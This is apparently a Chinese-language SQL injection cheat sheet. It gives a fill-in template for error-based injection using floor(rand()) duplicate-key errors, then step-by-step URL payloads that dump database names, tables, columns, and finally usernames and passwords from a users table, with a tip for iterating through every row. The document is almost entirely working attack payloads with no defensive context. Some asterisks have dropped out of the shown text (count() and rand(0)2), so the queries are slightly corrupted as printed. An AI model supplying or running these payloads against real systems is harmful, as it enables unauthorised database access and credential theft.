| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | floor 类型固定格式:(星号位置替换为查询语句即可)
 ?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(*******),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
 1.爆数据库:
 ?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
 select distinct table_schema from information_schema.columns limit 1,1
 ),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
 小提示:由于报错信息每次只能显示1行,所以此处使用limit,通过修改limit后的第一个数值,可依次爆出所有内容。下同。
 2.爆表名(此例为message数据库):
 ?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
 select table_name from information_schema.tables where table_schema='message' limit 2,1
 ),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
 3.爆字段(此例为message数据库的users表):
 ?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
 select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1
 ),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
 4.爆内容(此例为message数据库的users表):
 ?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
 select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1
 ),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
 
 |